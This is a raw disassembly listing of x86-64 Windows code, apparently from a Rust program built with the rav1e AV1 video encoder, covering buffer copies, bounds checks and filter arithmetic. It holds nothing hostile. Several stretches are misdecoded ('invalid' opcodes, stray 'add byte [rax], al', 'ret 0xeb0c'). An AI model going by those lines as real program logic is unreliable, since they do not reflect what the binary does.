mov qword [rbp + 0x3620], rcx
push 8
pop rcx
jmp 0x1400b2d3c
xor ecx, ecx
imul r8, rdi, 0x348
mov dl, al
shl edx, 3
mov qword [rbp + 0x3618], rcx
lea rcx, [rbp + 0x3510]
lea r9, [rbp + 0x3610]
call fcn.140059531
cmp qword [rbp + 0x3510], 0
jne 0x1400b4ba7
mov r14, qword [rbp + 0x3518]
mov qword [rbp + 0x3650], r14
mov qword [rbp + 0x3648], rdi
mov r15, rdi
imul rcx, rbx, 0x348
add rcx, r14
mov r8d, 0x348
mov rdx, r12
call sub.VCRUNTIME140.dll_memmove
inc rbx
mov qword [rbp + 0x3658], rbx
mov rsi, rdi
jmp 0x1400b2c54
mov rcx, qword [rbp + 0x3268]
mov dl, byte [rbp + 0x3270]
call fcn.14009d783
mov r15, qword [rbp + 0x3678]
xor r12d, r12d
mov r13b, byte [rbp + 0x3688]
push 8
pop rdx
lea rcx, [rbp + 0x3488]
and qword [rcx], 0
mov qword [rcx + 8], rdx
and qword [rcx + 0x10], 0
lea rax, [rbp + 0x35b0]
and qword [rax], 0
mov qword [rax + 8], rdx
and qword [rax + 0x10], 0
mov qword [rbp + 0x3610], rsi
mov qword [rbp + 0x3618], r14
mov qword [rbp + 0x3620], rbx
mov qword [rbp + 0x3628], r15
mov rdx, qword [rbp + 0x34e8]
mov qword [rbp + 0x3630], rdx
mov qword [rbp + 0x3638], rax
mov qword [rbp + 0x32e0], rbx
mov byte [rbp + 0x36a7], 1
mov rdx, rbx
call fcn.1400bf499
mov byte [rbp + 0x3697], 1
lea rcx, [rbp + 0x3488]
mov rdx, rbx
call fcn.1400bf55a
lea r8, [rbp + 0x3540]
and qword [r8], 0
movups xmm0, xmmword [rbp + 0x3610]
movups xmm1, xmmword [rbp + 0x3620]
movaps xmmword [rbp + 0x2b10], xmm1
movaps xmmword [rbp + 0x2b00], xmm0
mov rcx, qword [rbp + 0x3630]
mov qword [rbp + 0x2b20], rcx
mov qword [rbp + 0x2b30], rax
mov qword [rbp + 0x2b38], rdx
mov qword [rbp + 0x2b28], r8
mov rsi, qword [rbp + 0x2b10]
mov qword [rbp + 0x32d8], rsi
mov byte [rbp + 0x36a6], 1
lea rcx, [rbp + 0x35b0]
mov rdx, rsi
call fcn.1400bf6b5
mov byte [rbp + 0x36a5], 1
lea rcx, [rbp + 0x35b0]
mov rdx, rsi
call fcn.1400bf77c
movaps xmm0, xmmword [rbp + 0x2b00]
movaps xmm1, xmmword [rbp + 0x2b10]
movaps xmm2, xmmword [rbp + 0x2b20]
movaps xmm3, xmmword [rbp + 0x2b30]
lea rcx, [rbp + 0x2e90]
movaps xmmword [rcx - 0x10], xmm3
movaps xmmword [rcx - 0x20], xmm2
movaps xmmword [rcx - 0x30], xmm1
movaps xmmword [rcx - 0x40], xmm0
movaps xmm0, xmmword [rcx - 0x10]
mov r8, qword [rbp + 0x3630]
lea r9, [rbp + 0x3528]
mov qword [r9 + 8], r8
movups xmm1, xmmword [rbp + 0x3610]
movups xmm2, xmmword [rbp + 0x3620]
movaps xmmword [r9 - 8], xmm2
movaps xmmword [r9 - 0x18], xmm1
movups xmm1, xmmword [rbp + 0x3610]
lea r8, [rbp + 0x3580]
movaps xmmword [r8], xmm1
mov r15, qword [r9 - 8]
mov qword [rbp + 0x31e8], r15
mov qword [rbp + 0x31b8], rcx
movups xmmword [rbp + 0x31c0], xmm0
mov qword [rbp + 0x31d0], rax
mov qword [rbp + 0x31d8], rdx
mov qword [rbp + 0x3648], r8
and qword [rbp + 0x3650], 0
mov qword [rbp + 0x31e0], r9
and qword [r8 + 0x10], 0
mov qword [rbp + 0x3658], r15
mov qword [rbp + 0x3660], r15
cmp qword [r8], r15
jb 0x1400b4be0
mov r14, qword [rbp + 0x3588]
mov qword [rbp + 0x31a8], r14
mov qword [rbp + 0x31b0], r15
mov byte [rbp + 0x3696], 1
mov rcx, r15
call fcn.14009b194
mov byte [rbp + 0x3696], 0
lea rdi, [rbp + 0x31b8]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 1
lea r14, [rbp + 0x33c8]
mov rcx, r14
mov rdx, r15
xor r8d, r8d
mov r9, rax
call fcn.1400bf7b8
lea rcx, [rbp + 0x3648]
call fcn.1400fb6a8
mov byte [rbp + 0x36a5], 0
lea rcx, [rbp + 0x3580]
call fcn.1400bf5bc
mov rcx, qword [rbp + 0x2e78]
call fcn.1400bf69e
mov rax, qword [rbp + 0x2e78]
mov qword [rax], 1
movups xmm0, xmmword [rbp + 0x33c8]
movups xmmword [rax + 8], xmm0
mov rcx, qword [rbp + 0x33d8]
mov qword [rax + 0x18], rcx
mov rax, qword [rbp + 0x33f0]
mov qword [rbp + 0x33c8], rax
cmp rax, rsi
jne 0x1400b4bfb
add qword [rbp + 0x35c0], rsi
movups xmm0, xmmword [rbp + 0x3540]
movups xmm1, xmmword [rbp + 0x3550]
lea rdx, [rbp + 0x2e50]
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov byte [rbp + 0x36a3], 0
lea rcx, [rbp + 0x31b8]
call fcn.1400bf667
mov rax, qword [rbp + 0x31c8]
mov qword [rbp + 0x33c8], rax
cmp rax, rbx
jne 0x1400b4c62
mov r12b, r13b
lea rax, [r12*2 + 1]
mov qword [rbp + 0x35d0], rax
mov rax, qword [rbp + 0x31c8]
lea rsi, [rbp + 0x2e50]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0x31b8]
movaps xmmword [rsi], xmm0
mov rcx, rsi
call fcn.1400bf593
add rbx, qword [rbp + 0x3498]
mov qword [rbp + 0x3498], rbx
mov qword [rbp + 0x3590], rbx
movups xmm0, xmmword [rbp + 0x3488]
movaps xmmword [rbp + 0x3580], xmm0
mov rax, qword [rbp + 0x35b0]
mov r14, qword [rbp + 0x35b8]
imul r15, qword [rbp + 0x35c0], 0x358
lea rdi, [r14 + r15]
mov qword [rbp + 0x2b00], r14
mov qword [rbp + 0x2b10], rax
mov qword [rbp + 0x2b18], rdi
mov rax, qword [rbp + 0x3698]
lea rbx, [rax + 0x10]
xor r12d, r12d
cmp r15, r12
je 0x1400b3186
lea rdx, [r14 + r12]
mov r8d, 0x358
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
mov rdx, rsi
call fcn.14007a53c
add r12, 0x358
jmp 0x1400b315b
lea rcx, [rbp + 0x2b00]
mov qword [rcx + 8], rdi
call fcn.1400b70e7
mov rcx, qword [rbp + 0x3698]
mov rax, qword [rcx + 0x4b8]
mov rdi, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400b4f73
mov qword [rbp + 0x3610], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3680], dl
mov qword [rbp + 0x3670], rax
add rax, 0x10
mov rdx, qword [rbp + 0x3698]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.140092377
movups xmm0, xmmword [rbp + 0x2f70]
movups xmm1, xmmword [rbp + 0x2f80]
movups xmm2, xmmword [rbp + 0x2f90]
movups xmm3, xmmword [rbp + 0x2fa0]
movups xmmword [rbp + 0x31c8], xmm1
movups xmmword [rbp + 0x31d8], xmm2
movups xmm1, xmmword [rbp + 0x2fb0]
movups xmmword [rbp + 0x31f8], xmm1
movups xmm1, xmmword [rbp + 0x2fc0]
movups xmmword [rbp + 0x3208], xmm1
movups xmm1, xmmword [rbp + 0x2fd0]
movups xmm2, xmmword [rbp + 0x2fe0]
movups xmmword [rbp + 0x3228], xmm2
movups xmm2, xmmword [rbp + 0x2ff0]
movups xmmword [rbp + 0x3238], xmm2
movups xmmword [rbp + 0x31b8], xmm0
movups xmmword [rbp + 0x31e8], xmm3
movups xmmword [rbp + 0x3218], xmm1
mov r11, qword [rbp + 0x2ec0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
lea r9, [r11 + 0x10]
xor r8d, r8d
movabs rdi, 0x8000000000000001
test rbx, rbx
je 0x1400b3327
mov edx, 0
mov r15d, 0
test rsi, rsi
je 0x1400b332c
mov r8, qword [r11 + 0x50]
cmp r8, rdi
jae 0x1400b4ce0
mov rax, qword [r11 + 0x58]
cmp rax, rdi
jae 0x1400b4cfb
lea rdx, [r8 + rbx]
mov rcx, qword [r9]
cmp rdx, rcx
jg 0x1400b4d16
lea rdx, [rax + rsi]
cmp rdx, qword [r11 + 0x18]
jg 0x1400b4d4c
add r8, qword [r11]
imul rcx, rax
add r8, rcx
mov rdx, rsi
mov r15, rbx
jmp 0x1400b332c
xor edx, edx
xor r15d, r15d
mov qword [rbp + 0x3668], r9
mov cl, byte [r11 + 0x90]
mov al, byte [r11 + 0x98]
mov r9, rbx
shr r9, cl
mov r10, rsi
mov ecx, eax
shr r10, cl
lea rax, [r11 + 0x70]
mov qword [rbp + 0x3688], rax
xor r12d, r12d
cmp qword [r11 + 0x80], 0
je 0x1400b33d5
cmp qword [r11 + 0x88], 0
mov r13d, 0
mov r14d, 0
je 0x1400b33db
mov r12, qword [r11 + 0xb0]
cmp r12, rdi
jae 0x1400b4d31
mov rax, qword [r11 + 0xb8]
cmp rax, rdi
jae 0x1400b4d67
lea r14, [r12 + r9]
mov rcx, qword [rbp + 0x3688]
mov rcx, qword [rcx]
cmp r14, rcx
jg 0x1400b4d82
lea r14, [rax + r10]
cmp r14, qword [r11 + 0x78]
jg 0x1400b4db8
add r12, qword [r11 + 0x60]
imul rcx, rax
add r12, rcx
mov r13, r10
mov r14, r9
jmp 0x1400b33db
xor r13d, r13d
xor r14d, r14d
mov qword [rbp + 0x35c8], r15
mov cl, byte [r11 + 0xf0]
mov al, byte [r11 + 0xf8]
shr rbx, cl
mov ecx, eax
shr rsi, cl
lea rax, [r11 + 0xd0]
xor ecx, ecx
cmp qword [r11 + 0xe0], 0
je 0x1400b347e
mov r15, rdi
mov rdi, rdx
cmp qword [r11 + 0xe8], 0
mov r9d, 0
mov r10d, 0
je 0x1400b3487
mov rcx, qword [r11 + 0x110]
cmp rcx, r15
jae 0x1400b4d9d
mov r9, qword [r11 + 0x118]
cmp r9, r15
jae 0x1400b4dd3
lea rdx, [rcx + rbx]
mov r10, qword [rax]
cmp rdx, r10
jg 0x1400b4dee
lea rdx, [r9 + rsi]
cmp rdx, qword [r11 + 0xd8]
jg 0x1400b4e09
add rcx, qword [r11 + 0xc0]
imul r10, r9
add rcx, r10
mov r9, rsi
mov r10, rbx
jmp 0x1400b3487
mov rdi, rdx
xor r9d, r9d
xor r10d, r10d
mov rdx, qword [rbp + 0x3668]
mov qword [rbp + 0x2b00], rdx
mov qword [rbp + 0x2b08], r8
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b10], xmm0
mov rdx, qword [rbp + 0x35c8]
mov qword [rbp + 0x2b20], rdx
mov qword [rbp + 0x2b28], rdi
mov rdx, qword [rbp + 0x3688]
mov qword [rbp + 0x2b30], rdx
mov qword [rbp + 0x2b38], r12
movups xmmword [rbp + 0x2b40], xmm0
mov qword [rbp + 0x2b50], r14
mov qword [rbp + 0x2b58], r13
mov qword [rbp + 0x2b60], rax
mov qword [rbp + 0x2b68], rcx
movups xmmword [rbp + 0x2b70], xmm0
mov qword [rbp + 0x2b80], r10
mov qword [rbp + 0x2b88], r9
lea rcx, [rbp + 0x3560]
mov rsi, qword [rcx + 0x10]
mov rdi, qword [rcx + 0x18]
call fcn.1400b94fb
mov r15, qword [rbp + 0x3678]
lea r12, [rbp - 0x40]
test rdx, rdx
je 0x1400b4a65
lea r9, [rbp + 0x33c8]
mov qword [r9], rax
xorps xmm0, xmm0
movups xmmword [r9 + 8], xmm0
mov qword [r9 + 0x18], rsi
mov qword [r9 + 0x20], rdi
mov qword [r9 + 0x28], rsi
mov qword [r9 + 0x30], rdi
movups xmm0, xmmword [r15 + 0x240]
movups xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x31b8]
lea r8, [rbp + 0x2b00]
mov rcx, r15
call fcn.1400bc24c
mov esi, eax
lea rcx, [rbp + 0x2e50]
call fcn.1400880b1
mov rcx, qword [rbp + 0x3670]
mov dl, byte [rbp + 0x3680]
call fcn.14009d783
lea rcx, [rbp + 0x3610]
call fcn.14009aea4
mov rax, qword [rbp + 0x3698]
mov dword [rax + 0x30e8], esi
test si, si
je 0x1400b3700
mov rcx, qword [rbp + 0x3698]
mov rax, qword [rcx + 0x4b8]
mov rdi, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400b4f73
mov qword [rbp + 0x31b8], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3688], dl
mov qword [rbp + 0x3680], rax
add rax, 0x10
mov rdx, qword [rbp + 0x3698]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.140092377
mov rsi, qword [rbp + 0x2f68]
lea rcx, [rbp + 0x3560]
mov rdi, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
call fcn.1400b94fb
test rdx, rdx
je 0x1400b4a7a
lea rdx, [rbp + 0x2f70]
movups xmm0, xmmword [rbp + 0x3570]
lea r8, [rbp + 0x2b00]
mov qword [r8], rax
xorps xmm1, xmm1
movups xmmword [r8 + 8], xmm1
mov qword [r8 + 0x18], rdi
mov qword [r8 + 0x20], rbx
movups xmmword [r8 + 0x28], xmm0
mov r9, qword [r15 + 0x240]
mov rax, qword [r15 + 0x248]
mov rcx, qword [r15 + 0x2b0]
mov rcx, qword [rcx + 0x1f0]
mov r10, qword [rbp + 0x35d0]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov rcx, rsi
call fcn.1400bb06a
lea rcx, [rbp + 0x2e50]
call fcn.1400880b1
mov rcx, qword [rbp + 0x3680]
mov dl, byte [rbp + 0x3688]
call fcn.14009d783
lea rcx, [rbp + 0x31b8]
call fcn.14009aea4
mov rax, qword [rbp + 0x35e8]
cmp byte [rax + 0x26e], 0
push 0x40
pop rcx
mov qword [rbp + 0x34f0], rcx
je 0x1400b437b
mov rax, qword [rbp + 0x3698]
mov rdx, qword [rax + 0x4b8]
add rdx, 0x10
lea rcx, [rbp + 0x2b00]
call fcn.1400938a3
mov rax, qword [rbp + 0x35e8]
cmp byte [rax + 0x26d], 0
mov rcx, qword [rbp + 0x3698]
je 0x1400b386e
mov rax, qword [rcx + 0x4b8]
mov rdi, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400b4f73
mov qword [rbp + 0x33c8], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3688], dl
mov qword [rbp + 0x3680], rax
add rax, 0x10
mov rdx, qword [rbp + 0x3698]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.140092377
lea rcx, [rbp + 0x3560]
mov rsi, qword [rcx + 0x10]
mov rdi, qword [rcx + 0x18]
call fcn.1400b94fb
test rdx, rdx
je 0x1400b4ab7
movups xmm0, xmmword [rbp + 0x3570]
lea r8, [rbp + 0x31b8]
mov qword [r8], rax
xorps xmm1, xmm1
movups xmmword [r8 + 8], xmm1
mov qword [r8 + 0x18], rsi
mov qword [r8 + 0x20], rdi
movups xmmword [r8 + 0x28], xmm0
lea r9, [rbp + 0x2f70]
lea rdx, [rbp + 0x2b00]
mov rcx, r15
call fcn.1400b9527
lea rcx, [rbp + 0x2e50]
call fcn.1400880b1
mov rcx, qword [rbp + 0x3680]
mov dl, byte [rbp + 0x3688]
call fcn.14009d783
lea rcx, [rbp + 0x33c8]
call fcn.14009aea4
mov rcx, qword [rbp + 0x3698]
mov rdi, qword [rcx + 0x4b8]
push 1
pop rax
push 0xffffffffffffffff
pop rcx
lock cmpxchg qword [rdi + 8], rcx
jne 0x1400b4bcf
mov rax, qword [rdi]
mov qword [rdi + 8], 1
cmp rax, 1
jne 0x1400b4bcf
add rdi, 0x10
lea rcx, [rbp + 0x2e50]
mov rdx, rdi
call fcn.1400938a3
mov r14, qword [r15 + 0x248]
mov rax, qword [r15 + 0x2b0]
xor esi, esi
mov qword [rbp + 0x35f0], rax
cmp dword [rax + 0x230], 3
setne bl
lea rcx, [rbp + 0x3610]
mov edx, 0x6e40
call fcn.140091d62
mov rax, qword [rbp + 0x3698]
add rax, 0x368
mov qword [rbp + 0x3378], rax
mov sil, bl
lea rax, [rsi*2 + 1]
lea rcx, [r14 + 7]
shr rcx, 6
mov qword [rbp + 0x3348], rcx
mov rcx, qword [r15 + 0x240]
mov qword [rbp + 0x3380], rcx
xorps xmm6, xmm6
xor edx, edx
mov r9, r14
mov qword [rbp + 0x3320], rdi
mov qword [rbp + 0x33b8], r14
mov qword [rbp + 0x33c0], rax
cmp rdx, rax
jae 0x1400b49f4
imul rax, rdx, 0x60
lea r10, [rdi + rax]
add r10, 0x10
mov cl, byte [r10 + 0x20]
push 1
pop r8
mov r11, r8
shl r11, cl
lea rsi, [rdx + 1]
mov qword [rbp + 0x33b0], rsi
shr r11, 1
add r11, qword [rbp + 0x3380]
shr r11, cl
imul rdx, rdx, 0x68
mov qword [rbp + 0x3508], r10
mov rcx, qword [r10 + 0x28]
and ecx, 0x3f
shl r8, cl
add rdx, qword [rbp + 0x3378]
mov qword [rbp + 0x34d0], rdx
lea rdx, [rdi + rax]
mov qword [rbp + 0x3668], rdx
shr r8, 1
add r8, r9
shr r8, cl
lea rdx, [rax + rbp]
add rdx, 0x2e50
mov qword [rbp + 0x35e0], rdx
lea rax, [rbp + rax + 0x2b00]
mov qword [rbp + 0x35d8], rax
push 0x40
pop rax
shr rax, cl
mov qword [rbp + 0x3398], rax
push 0x38
pop rax
mov qword [rbp + 0x3390], rcx
shr rax, cl
lea rcx, [r11 + 3]
mov qword [rbp + 0x34e0], rcx
mov qword [rbp + 0x34f8], r8
lea rcx, [r8 - 1]
mov qword [rbp + 0x34c0], rcx
mov qword [rbp + 0x3310], r11
lea r13, [r11 - 1]
xor edx, edx
mov qword [rbp + 0x33a8], rax
mov qword [rbp + 0x34c8], r13
cmp rdx, qword [rbp + 0x3348]
ja 0x1400b4361
test rdx, rdx
je 0x1400b3a63
mov r10, rdx
shl r10, 6
add r10, 0xfffffffffffffff8
mov rcx, qword [rbp + 0x3390]
shr r10, cl
mov r9, qword [rbp + 0x34f8]
mov r11, r9
sub r11, r10
mov rax, qword [rbp + 0x3398]
cmp rax, r11
cmovb r11, rax
jmp 0x1400b3a70
xor r10d, r10d
mov r11, rax
mov r9, qword [rbp + 0x34f8]
lea rax, [rdx + 1]
mov qword [rbp + 0x33a0], rax
mov rax, r9
sub rax, r10
mov qword [rbp + 0x3388], rax
mov rax, r10
neg rax
test r10, r10
mov ecx, 0
cmovg rcx, r10
mov qword [rbp + 0x3350], rcx
mov rsi, r10
sar rsi, 0x3f
and rsi, rax
lea rbx, [r10 + r11]
mov rcx, r9
sub rcx, rsi
sub rcx, r10
mov r14, r11
sub r14, rsi
mov qword [rbp + 0x32e8], rbx
cmp rbx, r9
cmovg r14, rcx
mov rax, qword [rbp + 0x34d0]
mov rcx, qword [rax + 0x50]
test r14, r14
mov eax, 0
cmovle r14, rax
lea rax, [rcx - 1]
mov qword [rbp + 0x3308], rax
lea rax, [r10 - 3]
mov qword [rbp + 0x3328], rax
lea rax, [r10 + r11 + 4]
mov qword [rbp + 0x35c8], rax
lea rax, [r10 + r11 + 1]
mov qword [rbp + 0x32f8], rax
lea rax, [r10 - 2]
mov qword [rbp + 0x32f0], rax
mov qword [rbp + 0x3358], rsi
mov qword [rbp + 0x3360], r14
lea rax, [r14 + rsi]
mov qword [rbp + 0x3368], rax
xor eax, eax
mov qword [rbp + 0x34d8], rax
xor r8d, r8d
mov qword [rbp + 0x3640], rdx
mov qword [rbp + 0x3670], r10
mov qword [rbp + 0x3500], r11
mov qword [rbp + 0x3318], rcx
cmp r8, rcx
jae 0x1400b434a
mov rcx, qword [rbp + 0x34d0]
mov rdi, qword [rcx + 0x20]
mov r12, rdi
imul r12, r8
mov r14, qword [rbp + 0x3310]
sub r14, r12
cmp r8, qword [rbp + 0x3308]
mov rbx, rdi
cmove rdi, r14
mov qword [rbp + 0x3300], r8
call fcn.140078c1b
movzx ecx, byte [rax]
cmp ecx, 2
je 0x1400b413d
cmp ecx, 1
mov rdx, qword [rbp + 0x3640]
jne 0x1400b431f
mov ecx, dword [rax + 1]
movzx eax, word [rax + 5]
mov word [rbp + 0x348c], ax
mov dword [rbp + 0x3488], ecx
add byte [rax], al
mov rax, qword [rbp + 0x35f0]
mov r14, qword [rax + 0x1f0]
xor ecx, ecx
xor eax, eax
cmp r14, 0xc
setne cl
sete al
ror byte [rax - 0x73], 0x44
add byte [rbx], al
mov rdx, rax
mov qword [rbp + 0x34b8], rax
not eax
add eax, r14d
add eax, 7
lea ecx, [r14 + rcx*2]
add ecx, 0x23
shl dword [rbx], 0x83
loope 0x1400b3c28
xor edx, edx
cmp rdx, 0x18
je 0x1400b3c28
and dword [rbp + rdx + 0x3548], 0
and qword [rbp + rdx + 0x3540], 0
add byte [rax - 0x7d], cl
ret 0xeb0c
invalid
push 0xffffffffffffffff
pop rdx
shl edx, cl
mov r15d, edx
lea rcx, [rbp + 0x3488]
lea rdx, [rbp + 0x3540]
xor r8d, r8d
cmp r8, 2
je 0x1400b3c6b
xor r9d, r9d
cmp r9, 3
je 0x1400b3c5e
movsx r10d, byte [rcx + r9]
mov dword [rdx + r9*4], r10d
inc r9
jmp 0x1400b3c4a
inc r8
add rdx, 0xc
add rcx, 3
jmp 0x1400b3c41
invalid
xor edx, edx
cmp r14, 0xc
setne dl
push 1
pop r13
mov ecx, eax
shl r13d, cl
lea esi, [rdx*2 + 9]
not r15d
mov r8d, 0x11c
lea rcx, [rbp + 0x31b8]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov eax, dword [rbp + 0x3540]
mov ecx, dword [rbp + 0x3544]
xor eax, 0x958b0000
xor rax, 0xffffffff8d440000
add al, 1
add r8d, edx
add r8d, r8d
mov r9d, 0x80
sub r9d, r8d
mov dword [rbp + 0x3648], eax
test dword [rax + 0x36], ecx
add byte [rax], al
mov dword [rbp + 0x364c], ecx
mov dword [rbp + 0x3650], edx
mov dword [rbp + 0x3654], r9d
mov dword [rbp + 0x3658], edx
mov dword [rbp + 0x365c], ecx
mov dword [rbp + 0x3660], eax
mov eax, dword [rbp + 0x354c]
mov ecx, dword [rbp + 0x3550]
mov edx, dword [rbp + 0x3554]
lea r8d, [rcx + rax]
add r8d, edx
add r8d, r8d
mov r9d, 0x80
sub r9d, r8d
mov dword [rbp + 0x3510], eax
mov dword [rbp + 0x3514], ecx
mov dword [rbp + 0x3518], edx
mov dword [rbp + 0x351c], r9d
mov dword [rbp + 0x3520], edx
mov dword [rbp + 0x3524], ecx
mov dword [rbp + 0x3528], eax
add rdi, r12
push 1
pop rdx
mov eax, edx
mov rcx, qword [rbp + 0x34b8]
shl eax, cl
shr eax, 1
mov dword [rbp + 0x35a0], eax
sub r15d, r13d
mov dword [rbp + 0x3598], r15d
neg r13d
mov dword [rbp + 0x359c], r13d
mov dword [rbp + 0x35a4], esi
mov ecx, esi
shl edx, cl
push 0xffffffffffffffff
pop rax
mov ecx, r14d
shl eax, cl
shr edx, 1
mov dword [rbp + 0x35a8], edx
not eax
mov dword [rbp + 0x35ac], eax
imul rbx, qword [rbp + 0x34d8]
add rbx, qword [rbp + 0x34e0]
mov qword [rbp + 0x3370], rdi
cmp rbx, 7
push 7
pop rax
mov rcx, rax
cmovl rcx, rbx
mov qword [rbp + 0x35d0], rcx
cmp r12, rdi
cmp esp, edi
jae 0x1400b4318
mov qword [rbp + 0x3330], rbx
lea rcx, [r12 + 1]
mov qword [rbp + 0x3338], rcx
mov qword [rbp + 0x35b0], r12
movsd dword [rdi], dword [rsi]
mov al, 0x35
add byte [rax], al
mov rcx, qword [rbp + 0x34e0]
sub rcx, r12
cmp rcx, 7
cmovge rcx, rax
mov qword [rbp + 0x3688], rcx
mov r15, qword [rbp + 0x3328]
mov r9, qword [rbp + 0x3668]
mov r10, qword [rbp + 0x3670]
cmp r15, qword [rbp + 0x35c8]
jge 0x1400b3fee
mov rax, r15
sub rax, r10
mov qword [rbp + 0x3680], rax
jge 0x1400b3e58
mov rax, qword [rbp + 0x34c0]
cmp r15, rax
cmovl rax, r15
test r15, r15
mov edx, 0
cmovns rdx, rax
mov rax, qword [rbp + 0x32f0]
cmp rdx, rax
cmovle rdx, rax
mov rcx, qword [rbp + 0x35d8]
call fcn.1400b9458
jmp 0x1400b3ea3
mov rax, qword [rbp + 0x34c0]
cmp r15, rax
cmovl rax, r15
test r15, r15
mov edx, 0
cmovns rdx, rax
cmp r15, qword [rbp + 0x32e8]
jge 0x1400b3e89
mov rcx, qword [rbp + 0x35e0]
call fcn.1400b9458
jmp 0x1400b3ea3
mov rax, qword [rbp + 0x32f8]
cmp rdx, rax
cmovge rdx, rax
mov rcx, qword [rbp + 0x35d8]
call fcn.1400b9458
mov rbx, rax
mov rsi, rdx
mov rcx, qword [rbp + 0x34c8]
test rdx, rdx
je 0x1400b4a11
cmp rcx, rsi
jae 0x1400b4a26
inc r15
movzx eax, byte [rbx]
movzx r14d, byte [rbx + rcx]
push 3
pop rdi
sub rdi, qword [rbp + 0x35b0]
xor ecx, ecx
test rdi, rdi
mov r12d, 0
cmovg r12, rdi
xor r13d, r13d
cmp r12, rcx
je 0x1400b3f0a
cmp rcx, 7
je 0x1400b44ef
mov edx, dword [rbp + rcx*4 + 0x3510]
imul edx, eax
inc rcx
add r13d, edx
jmp 0x1400b3ee9
lea rcx, [rbp + 0x3510]
mov rdx, r12
mov r8, qword [rbp + 0x3688]
call fcn.1400b94b0
mov rcx, r12
sub rcx, rdi
mov r9, qword [rbp + 0x3688]
add byte ss:[rax], al
sub r9, rdi
cmp rcx, r9
ja 0x1400b4b23
cmp r9, rsi
ja 0x1400b4b0c
add rbx, rcx
mov rcx, qword [rbp + 0x35d0]
invalid
sal byte [0x169573f4e], 1
loope 0x1400b3f98
cmp edx, ecx
cmovb rcx, rdx
xor edx, edx
mov r9, qword [rbp + 0x3668]
lea ebp, [rax + 0x36]
add byte [rax], al
mov r10, qword [rbp + 0x3670]
add byte [rax], al
cmp rcx, rdx
je 0x1400b3f7d
movzx r8d, byte [rbx + rdx]
imul r8d, dword [rax + rdx*4]
inc rdx
ret 0x145
invalid
jmp 0x1400b3f66
mov rcx, qword [rbp + 0x3688]
mov rdx, qword [rbp + 0x3680]
cmp rcx, 7
jge 0x1400b3faa
jae 0x1400b4506
mov eax, dword [rbp + rcx*4 + 0x3510]
imul eax, r14d
inc rcx
add r13d, eax
jmp 0x1400b3f8b
lea rax, [rdx + 3]
cmp rax, 0x47
jae 0x1400b4a3a
add r13d, dword [rbp + 0x35a0]
mov rcx, qword [rbp + 0x34b8]
sar r13d, cl
mov eax, dword [rbp + 0x3598]
cmp r13d, eax
cmovl eax, r13d
mov ecx, dword [rbp + 0x359c]
cmp r13d, ecx
cmovl eax, ecx
mov dword [rbp + rdx*4 + 0x31c4], eax
jmp 0x1400b3e06
lea rax, [rbp + 0x33d0]
and qword [rax + 0x40], 0
movups xmmword [rax + 0x30], xmm6
lea rax, [rbp + 0x35b0]
mov qword [rbp + 0x33c8], rax
mov qword [rbp + 0x33d0], r9
and qword [rbp + 0x33d8], 0
mov rax, qword [rbp + 0x3350]
mov qword [rbp + 0x33e0], rax
mov rax, qword [rbp + 0x3360]
mov qword [rbp + 0x33e8], rax
mov rax, qword [rbp + 0x3368]
mov qword [rbp + 0x33f8], rax
mov r14, qword [rbp + 0x3358]
cmp r14, rax
jae 0x1400b4120
lea rax, [r14 + 1]
mov qword [rbp + 0x33f0], rax
mov rax, qword [rbp + 0x33e8]
test rax, rax
je 0x1400b4120
dec rax
mov qword [rbp + 0x33e8], rax
lea rcx, [rbp + 0x33d0]
call fcn.14009f554
mov rsi, rax
test rax, rax
je 0x1400b4120
mov rax, qword [rbp + 0x33c8]
mov rbx, qword [rax]
cmp rbx, rdx
jae 0x1400b4a51
lea r8, [r14 + 7]
lea rcx, [rbp + 0x31b8]
mov rdx, r14
call fcn.1400b942b
cmp rdx, 7
push 7
pop rcx
cmovae rdx, rcx
xor ecx, ecx
